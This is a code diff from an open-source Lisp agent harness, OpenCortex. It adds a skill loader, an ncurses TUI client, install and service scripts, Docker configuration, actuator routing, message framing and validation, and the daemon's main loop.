Ensures that foundational skills (like the Bouncer or Policy engine) are always loaded before higher-level actuators.
#+begin_src lisp :tangle ../library/skills.lisp
(defun topological-sort-skills (skills)
"Calculates the correct loading order based on #+DEPENDS_ON metadata."
;; Placeholder: Currently sorts by priority as a proxy for dependencies.
(sort skills #'> :key #'skill-priority))
#+end_src
** Registry Initialization (initialize-all-skills)
The high-level boot sequence for the skill engine.
#+begin_src lisp :tangle ../library/skills.lisp
(defun initialize-all-skills ()
"Discovers and loads all Org files in the SKILLS_DIR."
(let* ((skills-dir (uiop:getenv "SKILLS_DIR"))
(files (when (and skills-dir (uiop:directory-exists-p skills-dir))
(uiop:directory-files skills-dir "*.org"))))
(dolist (f files)
(load-skill-from-org f))
(harness-log "LOADER: Boot Complete. [Ready: ~a] [Failed: 0]" (hash-table-count *skills-registry*))))
#+end_src
* Cognitive Dispatching
** Skill Trigger Discovery (find-triggered-skill)
Identifies which skill is best suited to handle the current metabolic signal.
#+begin_src lisp :tangle ../library/skills.lisp
(defun find-triggered-skill (context)
"Iterates through the registry and returns the first skill whose trigger returns true."
(let ((skills nil))
(maphash (lambda (name skill) (declare (ignore name)) (push skill skills)) *skills-registry*)
(setf skills (sort skills #'> :key #'skill-priority))
(dolist (s skills)
(let ((trigger (skill-trigger-fn s)))
(when (and trigger (funcall trigger context))
(return-from find-triggered-skill s))))
nil))
#+end_src

212
harness/tui-client.org Normal file
View File

@@ -0,0 +1,212 @@
#+TITLE: OpenCortex TUI Client (tui-client.lisp)
#+AUTHOR: Amr
#+FILETAGS: :tui:ux:client:
#+STARTUP: content
* OpenCortex TUI Client (tui-client.lisp)
** Architectural Intent: High-Fidelity Interaction
The TUI Client is a standalone consumer of the OpenCortex protocol. It uses the ~croatoan~ (ncurses) library to provide a split-pane, interactive terminal experience.
*** Design Requirements
1. **Concurrency:** The client must listen for incoming protocol events (heartbeats, status updates, thoughts) in a background thread to prevent the UI from freezing.
2. **Buffer Safety:** User input must be captured in a thread-safe buffer and framed correctly before being sent to the daemon.
3. **Transparency:** The status bar must provide real-time feedback on the state of background workers (Scribe and Gardener).
** Package Context
#+begin_src lisp :tangle ../library/tui-client.lisp
(in-package :cl-user)
(defpackage :opencortex.tui (:use :cl :croatoan) (:export :main))
(in-package :opencortex.tui)
#+end_src
* UI State Management
** Networking and Streams
#+begin_src lisp :tangle ../library/tui-client.lisp
(defvar *daemon-host* "127.0.0.1")
(defvar *daemon-port* 9105)
(defvar *socket* nil)
(defvar *stream* nil)
#+end_src
** Terminal Buffers
#+begin_src lisp :tangle ../library/tui-client.lisp
(defvar *chat-history* nil "A list of strings representing the scrollback buffer.")
(defvar *input-buffer* (make-array 0 :element-type 'character :fill-pointer 0 :adjustable t))
(defvar *is-running* t)
(defvar *status-text* "Connecting...")
#+end_src
** Thread-Safe Message Queue
We use a simple locked queue to move messages from the background listener thread to the foreground rendering loop.
#+begin_src lisp :tangle ../library/tui-client.lisp
(defvar *msg-queue* nil)
(defvar *queue-lock* (bt:make-lock "tui-msg-lock"))
(defun enqueue-msg (msg)
(bt:with-lock-held (*queue-lock*) (push msg *msg-queue*)))
(defun dequeue-msgs ()
(bt:with-lock-held (*queue-lock*) (let ((m (reverse *msg-queue*))) (setf *msg-queue* nil) m)))
#+end_src
* Protocol Integration
** Keyword Sanitization (clean-keywords)
Clients often receive data with inconsistent keyword casing. This helper ensures all incoming keys are normalized for easier processing.
#+begin_src lisp :tangle ../library/tui-client.lisp
(defun clean-keywords (msg)
"Ensures all keys in a plist are uppercase keywords."
(if (listp msg)
(let ((clean nil))
(loop for (k v) on msg by #'cddr
do (push (intern (string k) :keyword) clean)
(push v clean))
(nreverse clean))
msg))
#+end_src
** Payload Extraction (format-payload)
The core "intelligence" of the TUI display. It recursively searches a protocol payload for the most relevant human-readable content.
#+begin_src lisp :tangle ../library/tui-client.lisp
(defun format-payload (payload)
"Extracts human-readable text from a protocol payload, handling nested tool calls."
(let* ((action (getf payload :ACTION))
(text (getf payload :TEXT))
(msg (getf payload :MESSAGE))
(tool (getf payload :TOOL))
(prompt (getf payload :PROMPT))
(args (getf payload :ARGS))
(result (getf payload :RESULT)))
(cond (text text)
(msg msg)
((eq action :MESSAGE) (getf payload :TEXT))
((and tool prompt) (format nil "THOUGHT [~a]: ~a" tool prompt))
((and tool args)
(let ((inner-prompt (or (getf args :PROMPT) (getf args :TEXT))))
(if inner-prompt
(format nil "THOUGHT [~a]: ~a" tool inner-prompt)
(format nil "CALL [~a] (ARGS: ~s)" tool args))))
(result (format nil "RESULT: ~a" result))
(t (format nil "~s" payload)))))
#+end_src
** Background Listener (listen-thread)
Runs as a separate thread. It continuously reads framed messages from the daemon and enqueues them for the UI.
#+begin_src lisp :tangle ../library/tui-client.lisp
(defun listen-thread ()
(loop while *is-running* do
(handler-case
(when (and *stream* (open-stream-p *stream*))
(let ((raw-msg (opencortex:read-framed-message *stream*)))
(unless (member raw-msg '(:eof :error))
(let* ((msg (clean-keywords raw-msg))
(type (or (getf msg :TYPE) (getf msg :type)))
(payload (or (getf msg :PAYLOAD) (getf msg :payload))))
(cond ((and (listp msg) (eq type :EVENT))
(let ((action (or (getf payload :ACTION) (getf payload :action)))
(text (or (getf payload :TEXT) (getf payload :text) (getf payload :MESSAGE) (getf payload :message))))
(cond ((eq action :handshake) (setf *status-text* "Ready"))
(text (enqueue-msg (format nil "SYSTEM: ~a" text))))))
((and (listp msg) (eq type :STATUS))
(setf *status-text* (format nil "[Scribe: ~a] [Gardener: ~a]"
(or (getf msg :SCRIBE) (getf msg :scribe))
(or (getf msg :GARDENER) (getf msg :gardener)))))
((and (listp msg) (member type '(:REQUEST :RESPONSE :LOG)))
(let ((formatted (format-payload payload)))
(when formatted (enqueue-msg formatted))))
((and (listp msg) (eq type :EVENT) (eq (getf payload :SENSOR) :TOOL-OUTPUT))
(let ((formatted (format-payload payload)))
(when formatted (enqueue-msg formatted))))
(t (harness-log "TUI: Ignored unknown type ~a" type)))))
(when (eq raw-msg :eof) (setf *is-running* nil))
(when (eq raw-msg :error) (setf *status-text* "Protocol Error"))))
(error (c) (setf *status-text* (format nil "Net Error: ~a" c)) (setf *is-running* nil)))
(sleep 0.05)))
#+end_src
* Main Interaction Loop
** TUI Entry Point (main)
Initializes the ncurses screen, sets up the window layout, and handles user keyboard input.
#+begin_src lisp :tangle ../library/tui-client.lisp
(defun main ()
"Primary entry point for the standalone TUI client."
(handler-case
(setf *socket* (usocket:socket-connect *daemon-host* *daemon-port*))
(error (e) (format t "Error connecting: ~a~%" e) (return-from main)))
(setf *stream* (usocket:socket-stream *socket*))
(bt:make-thread #'listen-thread :name "tui-listener")
(unwind-protect
(with-screen (scr :input-echoing nil :input-blocking nil :enable-colors t :cursor-visible t)
(let* ((h (height scr))
(w (width scr))
(chat-win (make-instance 'window :height (- h 2) :width w :position (list 0 0)))
(status-win (make-instance 'window :height 1 :width w :position (list (- h 2) 0)))
(input-win (make-instance 'window :height 1 :width w :position (list (- h 1) 0)))
(last-status nil))
(setf (function-keys-enabled-p input-win) t)
(setf (input-blocking input-win) nil)
(loop while *is-running* do
;; 1. Handle incoming messages from the queue
(let ((new-msgs (dequeue-msgs)))
(when new-msgs
(dolist (msg new-msgs)
(push msg *chat-history*)
;; Maintenance: Cap scrollback to prevent memory bloat
(setf *chat-history* (subseq *chat-history* 0 (min (length *chat-history*) 500))))
(clear chat-win)
(let ((line-num 0))
(dolist (m (reverse (subseq *chat-history* 0 (min (length *chat-history*) (- h 3)))))
(add-string chat-win m :y line-num :x 0)
(incf line-num)))
(refresh chat-win)))
;; 2. Render Status Bar
(unless (equal *status-text* last-status)
(clear status-win)
(add-string status-win *status-text* :attributes '(:reverse))
(refresh status-win)
(setf last-status *status-text*))
;; 3. Handle Keyboard Input
(let* ((event (get-wide-event input-win))
(ch (and event (typep event 'event) (event-key event))))
(when ch
(cond
((or (eq ch #\Newline) (eq ch #\Return))
(let ((cmd (coerce *input-buffer* 'string)))
(setf (fill-pointer *input-buffer*) 0)
(when (> (length cmd) 0)
;; Frame and dispatch the message
(let ((framed (opencortex:frame-message (list :TYPE :EVENT
:META (list :SOURCE :tui :SESSION-ID "default")
:PAYLOAD (list :SENSOR :user-input :TEXT cmd)))))
(format *stream* "~a" framed)
(finish-output *stream*)))
(when (string= cmd "/exit") (setf *is-running* nil))))
((or (eq ch :backspace) (eq ch #\Backspace) (eq ch #\Rubout) (eq ch #\Del))
(when (> (length *input-buffer*) 0)
(decf (fill-pointer *input-buffer*))))
((characterp ch)
(vector-push-extend ch *input-buffer*))))
(clear input-win)
(add-string input-win (concatenate 'string "> " (coerce *input-buffer* 'string)))
(move input-win 0 (+ 2 (length *input-buffer*)))
(refresh input-win))
(sleep 0.02))))
(setf *is-running* nil)
(when *socket* (usocket:socket-close *socket*))))
#+end_src

46
infrastructure/bare-metal/install.sh Normal file
View File

@@ -0,0 +1,46 @@
#!/bin/bash
# opencortex: Bare Metal Installation Script
# This script sets up the opencortex daemon on a Linux host (Debian/Fedora).
set -e
echo "--- opencortex: Bare Metal Installation ---"
# 1. Check Dependencies
echo "[1/4] Checking dependencies..."
for cmd in sbcl curl git ripgrep; do
if ! command -v $cmd &> /dev/null; then
echo "Error: $cmd is not installed. Please install it first."
exit 1
fi
done
# 2. Setup Quicklisp
if [ ! -d "$HOME/quicklisp" ]; then
echo "[2/4] Quicklisp not found. Installing..."
curl -O https://beta.quicklisp.org/quicklisp.lisp
sbcl --non-interactive --load quicklisp.lisp --eval '(quicklisp-quickstart:install)'
rm quicklisp.lisp
echo "Quicklisp installed."
else
echo "[2/4] Quicklisp already installed."
fi
# 3. Build standalone binary
echo "[3/4] Building standalone binary..."
PROJECT_ROOT=$(pwd)/../..
sbcl --non-interactive \
--eval "(push \"$PROJECT_ROOT/\" asdf:*central-registry*)" \
--eval "(ql:quickload :opencortex)" \
--eval "(asdf:make :opencortex)"
echo "Binary built: $PROJECT_ROOT/opencortex-server"
# 4. Instructions for Systemd
echo "[4/4] Installation complete."
echo ""
echo "To run as a systemd service:"
echo "1. Edit opencortex.service to set correct paths."
echo "2. sudo cp opencortex.service /etc/systemd/system/"
echo "3. sudo systemctl daemon-reload"
echo "4. sudo systemctl enable --now opencortex"

18
infrastructure/bare-metal/org-agent.service Normal file
View File

@@ -0,0 +1,18 @@
[Unit]
Description=opencortex: Probabilistic-Deterministic Lisp Machine Kernel
After=network.target
[Service]
Type=simple
# Update User and WorkingDirectory to match your local setup
User=amr
WorkingDirectory=/home/amr/.openclaw/workspace/memex/5_projects/opencortex
ExecStart=/home/amr/.openclaw/workspace/memex/5_projects/opencortex/opencortex-server
Restart=always
RestartSec=10
# Environment variables can be loaded from the .env file
EnvironmentFile=/home/amr/.openclaw/workspace/memex/5_projects/opencortex/.env
[Install]
WantedBy=multi-user.target

25
infrastructure/docker/Dockerfile
View File

@@ -1,23 +1,32 @@
FROM debian:trixie-slim
FROM debian:bullseye-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
sbcl emacs-nox curl git socat netcat-openbsd rlwrap \
libssl-dev libncurses-dev libffi-dev zlib1g-dev libsqlite3-dev \
sbcl \
emacs-nox \
curl \
git \
socat \
netcat-openbsd \
libssl-dev \
libncurses5-dev \
libffi-dev \
zlib1g-dev \
libsqlite3-dev \
&& rm -rf /var/lib/apt/lists/*
# Install Quicklisp
RUN curl -O https://beta.quicklisp.org/quicklisp.lisp \
&& sbcl --non-interactive --load quicklisp.lisp \
--eval "(quicklisp-quickstart:install)" \
--eval "(ql-util:without-prompting (ql:add-to-init-file))" \
&& sbcl --non-interactive --load quicklisp.lisp --eval "(quicklisp-quickstart:install)" --eval "(ql-util:without-prompting (ql:add-to-init-file))" \
&& rm quicklisp.lisp
WORKDIR /app
COPY . .
RUN mkdir -p /root/memex && ./opencortex.sh configure --non-interactive
# Initialize system in non-interactive mode
RUN mkdir -p /root/memex /app/environment/logs && ./opencortex.sh setup --non-interactive
EXPOSE 9105
CMD ["./opencortex.sh", "daemon"]
CMD ["./opencortex.sh", "boot"]

32
infrastructure/docker/docker-compose.yml
View File

@@ -1,16 +1,18 @@
services:
passepartout:
build:
context: ../../
dockerfile: infrastructure/docker/Dockerfile
container_name: passepartout
env_file: ../../.env
volumes:
- ../../../..:/memex
- signal-state:/root/.local/share/signal-cli
ports:
- "${ORG_AGENT_DAEMON_PORT:-9105}:9105"
restart: unless-stopped
version: '3.8'
volumes:
signal-state:
services:
opencortex:
build:
context: ../..
dockerfile: deploy/docker/Dockerfile
container_name: opencortex
restart: unless-stopped
ports:
- "${ORG_AGENT_DAEMON_PORT:-9105}:${ORG_AGENT_DAEMON_PORT:-9105}"
- "${ORG_AGENT_WEB_PORT:-8080}:${ORG_AGENT_WEB_PORT:-8080}"
volumes:
- /memex:/memex
networks:
sandbox-net:
driver: bridge

15
infrastructure/opencortex.service
View File

@@ -1,15 +0,0 @@
[Unit]
Description=OpenCortex Daemon
Documentation=https://github.com/amrgharbeia/opencortex
After=network.target
[Service]
Type=simple
User=%u
ExecStart=%h/projects/passepartout/opencortex.sh daemon
Restart=on-failure
RestartSec=10
WorkingDirectory=%h/projects/passepartout
[Install]
WantedBy=default.target

15
infrastructure/passepartout.service
View File

@@ -1,15 +0,0 @@
[Unit]
Description=Passepartout Daemon
Documentation=https://github.com/amrgharbeia/opencortex
After=network.target
[Service]
Type=simple
User=%u
ExecStart=%h/projects/passepartout/passepartout daemon
Restart=on-failure
RestartSec=10
WorkingDirectory=%h/projects/passepartout
[Install]
WantedBy=default.target

39
interfaces/opencortex-chat.sh Executable file
View File

@@ -0,0 +1,39 @@
#!/bin/bash
# opencortex-chat: The terminal mouthpiece for the Autonomous Brain.
PORT=9105
HOST=${1:-localhost}
# Check for socat (preferred)
if command -v socat >/dev/null 2>&1; then
# Use socat with READLINE for history and arrow-key support.
# It establishes a persistent bidirectional connection.
# Note: socat READLINE doesn't handle hex-length framing automatically for input.
# We use a wrapper to frame the message.
echo "Connected to OpenCortex on $HOST:$PORT (Channel: CLI)"
while true; do
read -p "User: " MESSAGE
if [ -z "$MESSAGE" ]; then continue; fi
if [ "$MESSAGE" = "/exit" ]; then break; fi
# Frame the message: (:TYPE :EVENT :META (:SOURCE :CLI) :PAYLOAD (:SENSOR :USER-INPUT :TEXT "msg"))
PAYLOAD="(:TYPE :EVENT :META (:SOURCE :CLI) :PAYLOAD (:SENSOR :USER-INPUT :TEXT \"$MESSAGE\"))"
LEN=$(printf "%s" "$PAYLOAD" | wc -c)
HEXLEN=$(printf "%06x" $LEN)
# Send and read response
(printf "%s%s" "$HEXLEN" "$PAYLOAD" | nc -N $HOST $PORT) | while read -r LINE; do
# The line will have the 6-char hex length prefix.
# We strip it and look for the response.
CLEAN=$(echo "$LINE" | sed 's/^......//')
if [[ "$CLEAN" == *":TEXT"* ]]; then
# Extract the text content (simple grep-like extraction for CLI fallback)
TEXT=$(echo "$CLEAN" | sed -n 's/.*:TEXT "\([^"]*\)".*/\1/p')
echo "Agent: $TEXT"
fi
done
done
else
echo "Error: socat or nc required."
exit 1
fi

151
library/act.lisp Normal file
View File

@@ -0,0 +1,151 @@
(in-package :opencortex)
(defvar *default-actuator* :cli
"The fallback actuator used if a signal has no source or target metadata.")
(defvar *silent-actuators* '(:cli :system-message :emacs)
"List of actuators whose feedback should not re-enter the Reasoning stage.")
(defun initialize-actuators ()
"Loads actuator routing defaults from environment variables and registers core harness actuators."
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
(silent (uiop:getenv "SILENT_ACTUATORS")))
(when def
(setf *default-actuator* (intern (string-upcase def) "KEYWORD")))
(when silent
(setf *silent-actuators*
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) "KEYWORD"))
(str:split "," silent)))))
;; Register core harness actuators
(register-actuator :system #'execute-system-action)
(register-actuator :tool #'execute-tool-action)
(register-actuator :tui (lambda (action context)
(let* ((meta (getf context :meta))
(stream (getf meta :reply-stream)))
(when (and stream (open-stream-p stream))
(format stream "~a" (frame-message action))
(finish-output stream))))))
(defun dispatch-action (action context)
"Routes an approved action to its registered physical actuator."
(let ((payload (proto-get action :payload)))
;; Optimization: Heartbeats are system events, not actions.
(when (eq (proto-get payload :sensor) :heartbeat)
(return-from dispatch-action nil)))
(when (and action (listp action))
(let* ((meta (proto-get context :meta))
(source (proto-get meta :source))
(raw-target (or (ignore-errors (getf action :TARGET))
(ignore-errors (getf action :target))
source
*default-actuator*))
(target (intern (string-upcase (string raw-target)) :keyword))
(actuator-fn (gethash target *actuator-registry*)))
;; Propagation: Ensure outbound action inherits metadata
(when (and meta (null (getf action :meta)))
(setf (getf action :meta) meta))
(if actuator-fn
(funcall actuator-fn action context)
(harness-log "ACT ERROR: No actuator for ~s (from ~s)" target raw-target)))))
(defun execute-system-action (action context)
"Processes internal harness commands. (ACTUATOR)"
(declare (ignore context))
(let* ((payload (ignore-errors (getf action :payload)))
(cmd (ignore-errors (getf payload :action))))
(case cmd
(:eval (let ((code (getf payload :code)))
(eval (read-from-string code))))
(:create-skill (let* ((filename (getf payload :filename)) (content (getf payload :content))
(skills-dir (merge-pathnames "skills/" (asdf:system-source-directory :opencortex)))
(full-path (merge-pathnames filename skills-dir)))
(with-open-file (out full-path :direction :output :if-exists :supersede) (write-string content out))
(load-skill-from-org full-path)))
(:message (harness-log "ACT [System]: ~a" (getf payload :text)))
(t (harness-log "ACT ERROR [System]: Unknown command ~s" cmd)))))
(defun format-tool-result (tool-name result)
"Intelligently formats a tool result for user display."
(if (listp result)
(let ((status (getf result :status))
(content (getf result :content))
(msg (getf result :message)))
(cond ((and (eq status :success) content) (format nil "~a" content))
((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
(t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
(defun execute-tool-action (action context)
"Executes a registered cognitive tool and generates feedback signals. (ACTUATOR)"
(let* ((payload (getf action :payload))
(tool-name (getf payload :tool))
(tool-args (getf payload :args))
(depth (getf context :depth 0))
(meta (getf context :meta))
(source (getf meta :source))
(tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
(if tool
(handler-case
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
(result (funcall (cognitive-tool-body tool) clean-args)))
(let ((feedback (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name))))
;; UI Propagation: Send distilled text result back to the source client
(when source
(dispatch-action (list :TYPE :REQUEST :TARGET source
:PAYLOAD (list :ACTION :MESSAGE :TEXT (format-tool-result tool-name result)))
context))
feedback))
(error (c)
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-error :tool tool-name :message (format nil "~a" c)))))
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-error :message "Tool not found")))))
(defun act-gate (signal)
"Final Stage: Actuation and feedback generation."
(let* ((approved (getf signal :approved-action))
(type (getf signal :type))
(meta (getf signal :meta))
(source (getf meta :source))
(feedback nil)
;; context must keep internal objects for actuators to function
(context signal))
;; 1. Last-Mile Safety Check (The Bouncer & Deterministic Gates)
(when approved
(let* ((original-type (getf approved :type))
(verified (deterministic-verify approved signal)))
(if (and (listp verified)
(member (getf verified :type) '(:LOG :EVENT :log :event))
(not (member original-type '(:LOG :EVENT :log :event))))
(progn
(harness-log "ACT BLOCKED: Action failed last-mile deterministic check.")
(setf (getf signal :approved-action) nil)
(setf approved nil)
(setf feedback verified))
(progn
(setf (getf signal :approved-action) verified)
(setf approved verified)))))
;; 2. Actuation Logic
(case type
(:REQUEST (dispatch-action signal context))
(:LOG (dispatch-action signal context))
(:EVENT
(if approved
(let* ((target (getf approved :target))
(result (dispatch-action approved context)))
(cond ((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
(setf feedback result))
((and result (not (member target *silent-actuators*)))
(setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
:payload (list :sensor :tool-output :result result :tool approved))))))
;; Fallback: route generic stimuli back to their origin
(when source
(dispatch-action signal context)))))
(setf (getf signal :status) :acted)
feedback))

39
library/communication-validator.lisp Normal file
View File

@@ -0,0 +1,39 @@
(in-package :opencortex)
(defun validate-communication-protocol-schema (msg)
"Strict structural validation for incoming communication protocol messages."
(unless (listp msg)
(error "Communication Protocol Schema Error: Message must be a property list (got ~s)" (type-of msg)))
(let ((type (let ((raw (proto-get msg :type))) (if (keywordp raw) (intern (string-upcase (string raw)) :keyword) raw))))
(unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS :CHAT))
(progn (harness-log "REJECTED MSG: ~s" msg) (error "Communication Protocol Schema Error: Invalid message type '~a'" type)))
(case type
(:REQUEST
(unless (proto-get msg :target)
(error "Communication Protocol Schema Error: REQUEST missing mandatory :target"))
(unless (proto-get msg :payload)
(error "Communication Protocol Schema Error: REQUEST missing mandatory :payload")))
(:EVENT
(let ((payload (proto-get msg :payload)))
(unless (and payload (listp payload))
(error "Communication Protocol Schema Error: EVENT missing or invalid :payload"))
(unless (or (proto-get payload :action) (proto-get payload :sensor))
(error "Communication Protocol Schema Error: EVENT payload must contain :action or :sensor"))))
(:RESPONSE
(unless (proto-get msg :payload)
(error "Communication Protocol Schema Error: RESPONSE missing mandatory :payload"))))
t))
(defskill :skill-communication-protocol-validator
:priority 95
:trigger (lambda (ctx) (member (getf (getf ctx :payload) :sensor) '(:protocol-received)))
:probabilistic nil
:deterministic (lambda (action ctx)
(declare (ignore ctx))
(validate-communication-protocol-schema action)
action))

46
library/communication.lisp Normal file
View File

@@ -0,0 +1,46 @@
(in-package :opencortex)
(defun sanitize-protocol-message (msg)
"Recursively strips non-serializable objects (streams, sockets) from a protocol plist."
(if (and msg (listp msg))
(let ((clean nil))
(loop for (k v) on msg by #'cddr
do (unless (member k '(:reply-stream :socket :stream))
(push k clean)
(push (if (listp v) (sanitize-protocol-message v) v) clean)))
(nreverse clean))
msg))
(defun frame-message (msg)
"Serializes a message plist and prefixes it with a 6-character hex length."
(let* ((sanitized (sanitize-protocol-message msg))
(payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
(len (length payload)))
(format nil "~6,'0x~a" len payload)))
(defun read-framed-message (stream)
"Reads a hex-prefixed message from a stream. Returns the parsed Lisp plist or :EOF."
(handler-case
(let ((len-buf (make-string 6)))
;; 1. Read the length prefix
(let ((count (read-sequence len-buf stream)))
(if (< count 6)
:eof
(let ((len (ignore-errors (parse-integer len-buf :radix 16))))
(if (and len (> len 0))
;; 2. Read exactly 'len' bytes
(let ((payload-buf (make-string len)))
(read-sequence payload-buf stream)
(let ((*read-eval* nil))
(read-from-string payload-buf)))
:error)))))
(error (c)
(harness-log "PROTOCOL ERROR: ~a" c)
:error)))
(defun make-hello-message (version)
"Constructs the standard HELLO handshake message."
(list :TYPE :EVENT
:PAYLOAD (list :ACTION :handshake
:VERSION version
:CAPABILITIES '(:AUTH :SWANK :ORG-AST))))

41
library/context.lisp Normal file
View File

@@ -0,0 +1,41 @@
(in-package :opencortex)
(defun context-get-active-projects ()
"Retrieves a list of project headlines currently marked as NEXT or in progress."
(let ((all-projects (list-objects-with-attribute :CATEGORY "Project")))
(loop for p in all-projects
collect (list :id (org-object-id p)
:title (getf (org-object-attributes p) :TITLE)))))
(defun context-get-recent-completed-tasks (&optional (limit 5))
"Retrieves the last N tasks marked as DONE from the memory history."
(let ((all-completed (list-objects-with-attribute :TODO "DONE")))
(subseq (sort all-completed #'> :key #'org-object-version)
0 (min limit (length all-completed)))))
(defun context-list-all-skills ()
"Returns a list of registered skills and their documentation."
(let ((results nil))
(maphash (lambda (id skill)
(push (list :id id :name (skill-name skill)) results))
*skills-registry*)
results))
(defun context-get-system-logs ()
"Retrieves the in-memory circular log buffer."
(bt:with-lock-held (*logs-lock*)
(format nil "~{~a~%~}" (reverse *system-logs*))))
(defun context-assemble-global-awareness ()
"Assembles the full context block for a neural request."
(let ((projects (context-get-active-projects))
(time (multiple-value-bind (s m h d mo y) (get-decoded-time) (format nil "~a-~a-~a ~a:~a:~a" y mo d h m s))))
(format nil "CURRENT_TIME: ~a. ACTIVE_PROJECTS: ~s. FOVEAL_FOCUS: ~a"
time
projects
(or *foveal-focus-id* "None"))))
(defun context-query-store (query &key (limit 5))
"Placeholder for semantic/vector search over the Memex."
(declare (ignore query limit))
nil)

92
library/loop.lisp Normal file
View File

@@ -0,0 +1,92 @@
(in-package :opencortex)
(defvar *interrupt-flag* nil
"Thread-safe signal to halt the metabolic pipeline and daemon.")
(defvar *interrupt-lock* (bt:make-lock "harness-interrupt-lock")
"Protects the interrupt flag from concurrent access.")
(defvar *heartbeat-thread* nil
"Reference to the background thread driving autonomous reflection.")
(defun process-signal (signal)
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
(let ((current-signal signal))
(loop while current-signal do
(let ((depth (getf current-signal :depth 0))
(meta (getf current-signal :meta)))
;; Safety: Prevent infinite cognitive recursion.
(when (> depth 10) (harness-log "METABOLISM ERROR: Max depth reached.") (return nil))
;; Check for graceful shutdown.
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
(harness-log "METABOLISM: Interrupted.")
(bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* nil))
(return nil))
(handler-case
(progn
;; Stage 1: Ingest and Normalize
(setf current-signal (perceive-gate current-signal))
;; Stage 2: Cogitate and Verify
(setf current-signal (reason-gate current-signal))
;; Stage 3: Actuate and Generate Feedback
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
;; Inheritance: Metadata must persist across recursive cycles.
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(harness-log "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
;; Resilience: Only rollback on critical system errors.
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(harness-log "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
;; If recursion is shallow, attempt to notify the user of the error.
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal (list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
(defun start-heartbeat ()
"Starts the background heartbeat thread. Interval is loaded from HEARTBEAT_INTERVAL (default: 60s)."
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)))
(setf *heartbeat-thread*
(bt:make-thread
(lambda ()
(loop
(sleep interval)
;; Note: inject-stimulus is synchronous for heartbeats to prevent task accumulation.
(inject-stimulus (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
:name "opencortex-heartbeat"))))
(defun main ()
"Primary entry point for the OpenCortex daemon."
;; 1. Environment Hydration
(let* ((home (uiop:getenv "HOME"))
(env-file (uiop:merge-pathnames* ".local/share/opencortex/.env" (uiop:ensure-directory-pathname home))))
(when (uiop:file-exists-p env-file) (cl-dotenv:load-env env-file)))
;; 2. System Bootstrap
(initialize-actuators)
(initialize-all-skills)
;; 3. Wake up the heart.
(start-heartbeat)
;; 4. OS Signal Handling (SBCL specific)
#+sbcl
(sb-sys:enable-interrupt sb-unix:sigint
(lambda (sig code scp)
(declare (ignore sig code scp))
(harness-log "SHUTDOWN: SIGINT received. Exiting...")
(uiop:quit 0)))
;; 5. Primary Idle Loop
(let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
(loop
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*) (return))
(sleep sleep-interval))))

81
library/memory.lisp Normal file
View File

@@ -0,0 +1,81 @@
(in-package :opencortex)
(defvar *memory* (make-hash-table :test 'equal)
"The primary in-memory graph of all Org-mode entities, keyed by their unique ID.")
(defvar *history-store* (make-array 0 :fill-pointer 0 :adjustable t)
"A versioned log of the memory state, allowing for temporal traversal and rollback.")
(defstruct org-object
"The fundamental unit of knowledge in the OpenCortex."
id
type
attributes
parent-id
children
version
last-sync
vector
content
hash)
(defun compute-merkle-hash (id type attributes content child-hashes)
"Computes a SHA-256 Merkle hash for a node based on its core properties and children's hashes."
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
(sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
(attr-string (format nil "~s" sorted-alist))
(children-string (format nil "~{~a~}" child-hashes))
(raw-data (format nil "~a|~a|~a|~a|~a" id type attr-string (or content "") children-string)))
(ironclad:byte-array-to-hex-string
(ironclad:digest-sequence :sha256 (ironclad:ascii-string-to-byte-array raw-data)))))
(defun ingest-ast (ast &optional parent-id)
"Recursively parses an Org AST into the Lisp Memory registry."
(let* ((type (getf ast :type))
(properties (getf ast :properties))
(id (or (getf properties :ID) (uuid:make-v4-uuid)))
(content (getf ast :content))
(children (getf ast :contents))
(child-ids nil))
;; Recursively ingest children and collect their IDs
(dolist (child children)
(let ((child-obj (ingest-ast child id)))
(when child-obj (push (org-object-id child-obj) child-ids))))
(let ((obj (make-org-object :id id
:type type
:attributes properties
:parent-id parent-id
:children (nreverse child-ids)
:content content
:version (get-universal-time))))
(setf (gethash id *memory*) obj)
obj)))
(defun lookup-object (id)
"Retrieves an object from memory by its ID."
(gethash id *memory*))
(defun list-objects-with-attribute (key value)
"Returns a list of objects that possess the specified attribute pair."
(let ((results nil))
(maphash (lambda (id obj)
(declare (ignore id))
